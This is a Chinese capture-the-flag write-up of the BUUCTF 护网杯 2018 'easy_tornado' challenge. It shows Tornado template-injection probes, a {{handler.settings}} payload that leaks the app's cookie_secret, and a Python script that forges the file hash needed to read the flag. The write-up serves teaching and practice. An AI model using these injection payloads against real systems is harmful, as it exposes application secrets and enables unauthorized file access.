标签：BUUCTF hash settings tornado filename secret handler cookie 护网杯
BUUCTF [护网杯 2018]easy_tornado
首先第一个页面：
打开网页发现了三个链接，一个一个点开查看：
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
了解tornado：
tornado是个python语言下的模板
根据url中的参数filename和filehash,我们可以大体明白解题方向便是通过验证访问/fllllllllllllag
并且通过hint.txt,我们可以知道我们需要获取cookie_secret来加密得到filehash。
怎么样才能得到cookie_secret呢？
根据SSTI模板注入备忘录进行简单测试：
Tornado (Python):
{{7}}
${7*3}
{{7*7}}
{{"%'()*-/=[\]_|}}常见特殊符号
payload:
http://f9bd196b-a08b-49a7-a05b-7ebe550d4f5e.node4.buuoj.cn:81/error?msg={{7}}
当我们使用这条语句测试时，页面回显7
而当我们使用下面三条语句时，页面回显全都是ORZ，过滤了一堆常见符号
这里尝试一下能不能读取配置文件
payload：
http://f9bd196b-a08b-49a7-a05b-7ebe550d4f5e.node4.buuoj.cn:81/error?msg={{config}}
页面回显500：Internal Server Error
万不得已，下载源码
基本操作不行，于是将源码下载后全局搜索cookie_secret
我们可以看到cookie_secret是handler.application.settings的键值，
但是我们直接搜索handler.application.settings我们找不到任何东西，所以这里我们寻找handler
找到了一点线索，这里先将RequestHandler类型赋值为self并且赋值给handler，RequestHandler和handler是紧密相关的。
于是我翻开了RequestHandler的声明，里面有句话
"""An alias for `self.application.settings <Application.settings>`."""
原来如此，那这样便可以用handler.settings来访问cookie_secret
payload：
http://f9bd196b-a08b-49a7-a05b-7ebe550d4f5e.node4.buuoj.cn:81/error?msg={{handler.settings}}
最后的md5加密：
filename: /fllllllllllllag
cookie_secret: 78115b4c-fc01-435c-98dd-3e86ed49221b
这里可以直接手工用hackbar加密得到结果，也可以使用如下的脚本进行加密
# _*_coding:utf-8_*_
import hashlib
hash = hashlib.md5()
filename='/fllllllllllllag'
cookie_secret="78115b4c-fc01-435c-98dd-3e86ed49221b"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
最终的payload：
http://f9bd196b-a08b-49a7-a05b-7ebe550d4f5e.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=bb3ba30eef4971be678e7acb48661755
得到flag：
标签：BUUCTF,hash,settings,tornado,filename,secret,handler,cookie,护网杯 来源： https://www.cnblogs.com/merk11/p/15509426.html
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。